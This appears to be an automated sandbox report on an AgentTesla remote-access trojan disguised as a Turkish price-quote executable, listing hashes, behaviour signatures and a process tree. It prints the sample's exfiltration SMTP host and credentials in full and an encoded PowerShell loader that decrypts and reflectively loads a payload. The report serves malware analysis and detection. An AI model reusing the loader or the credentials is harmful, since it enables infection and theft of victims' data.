Analysis
-
max time kernel
142s -
max time network
161s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
18/05/2024, 18:33
Static task
static1
Behavioral task
behavioral1
Sample
TALEP VE FİYAT TEKLİFİ FDP..exe
Resource
win7-20240221-en
General
-
Target
TALEP VE FİYAT TEKLİFİ FDP..exe
-
Size
987KB
-
MD5
4159fce548f4229d4803ce6e5e2d0707
-
SHA1
188eb1c229a8cbdde36a294ac3c2a3ac2168ff72
-
SHA256
29894553b6237d105f91a2b43be873b28ca6b0359167543d28ec35cd3e77c8c7
-
SHA512
6600e40ed00baa3ed021e0b647025fc51f2bb313af6ed7a8e0de07b26f9989c8207f2c079b9f15b18246651d142c596af7f20fb4c7b8edccc08a50b4dd23944f
-
SSDEEP
24576:IyDtH9ivKgfG9pkNem5dwYeKrHHPYSpmqF:IwdcvKc8YlQKrHHPYSEqF
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
cp8nl.hyperhost.ua - Port:
587 - Username:
[email protected] - Password:
7213575aceACE@#$ - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1132 set thread context of 2248 1132 powershell.exe 96 -
pid Process 1132 powershell.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1132 powershell.exe 1132 powershell.exe 1132 powershell.exe 1132 powershell.exe 1132 powershell.exe 2248 AddInProcess32.exe 2248 AddInProcess32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1132 powershell.exe Token: SeDebugPrivilege 2248 AddInProcess32.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 1704 wrote to memory of 1132 1704 TALEP VE FİYAT TEKLİFİ FDP..exe 92 PID 1704 wrote to memory of 1132 1704 TALEP VE FİYAT TEKLİFİ FDP..exe 92 PID 1132 wrote to memory of 2248 1132 powershell.exe 96 PID 1132 wrote to memory of 2248 1132 powershell.exe 96 PID 1132 wrote to memory of 2248 1132 powershell.exe 96 PID 1132 wrote to memory of 2248 1132 powershell.exe 96 PID 1132 wrote to memory of 2248 1132 powershell.exe 96 PID 1132 wrote to memory of 2248 1132 powershell.exe 96 PID 1132 wrote to memory of 2248 1132 powershell.exe 96 PID 1132 wrote to memory of 2248 1132 powershell.exe 96
Processes
-
C:\Users\Admin\AppData\Local\Temp\TALEP VE FİYAT TEKLİFİ FDP..exe"C:\Users\Admin\AppData\Local\Temp\TALEP VE FİYAT TEKLİFİ FDP..exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1704 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADQANwAsACAAMAB4AEEAOAAsACAAMAB4ADkANQAsACAAMAB4ADUARQAsACAAMAB4AEYAMgAsACAAMAB4AEQAQQAsACAAMAB4ADkAQQAsACAAMAB4AEEAMQAsACAAMAB4ADgAMwAsACAAMAB4ADQANwAsACAAMAB4AEEAMQAsACAAMAB4ADYARQAsACAAMAB4ADgANwAsACAAMAB4AEIANgAsACAAMAB4AEYANgAsACAAMAB4ADAARQAsACAAMAB4ADgAOAAsACAAMAB4AEMAQQAsACAAMAB4ADYAQwAsACAAMAB4ADIAQQAsACAAMAB4ADQAQwAsACAAMAB4ADAAOQAsACAAMAB4AEIARQAsACAAMAB4ADMANwAsACAAMAB4ADUAQgAsACAAMAB4AEUANgAsACAAMAB4AEMANAAsACAAMAB4ADkANAAsACAAMAB4AEUANAAsACAAMAB4AEMAOAAsACAAMAB4ADMARgAsACAAMAB4ADkANQApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA1ADMALAAgADAAeAA0ADMALAAgADAAeAAxAEEALAAgADAAeAA1AEUALAAgADAAeAA2ADMALAAgADAAeABGADEALAAgADAAeAAyADIALAAgADAAeAA3AEQALAAgADAAeAA3ADgALAAgADAAeABGAEMALAAgADAAeAAzADYALAAgADAAeAA3ADMALAAgADAAeAAzADIALAAgADAAeABEADYALAAgADAAeAA4ADUALAAgADAAeAAwAEQAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA2⤵
- Suspicious use of SetThreadContext
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1132 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2248
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1888 --field-trial-handle=2256,i,6670388345726423024,18382795228658886258,262144 --variations-seed-version /prefetch:81⤵PID:1568
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
33KB
MD58998dbb6f0a43a5f64e7d688f74a3168
SHA1b10a1e9190a3955acaa25f80127f18d140d9a127
SHA256ecda43d8f11e4211b02c61572cb82269fcb8985a42b53caebeefff546253d26c
SHA512b8d13d6583a7ee357544be3b0f8c52576973cd9c18ea6b9f29978558e51e62f6fe1e8bc563f77498b4d0d9bd0ca28104687f20e73814623048169825c214c66b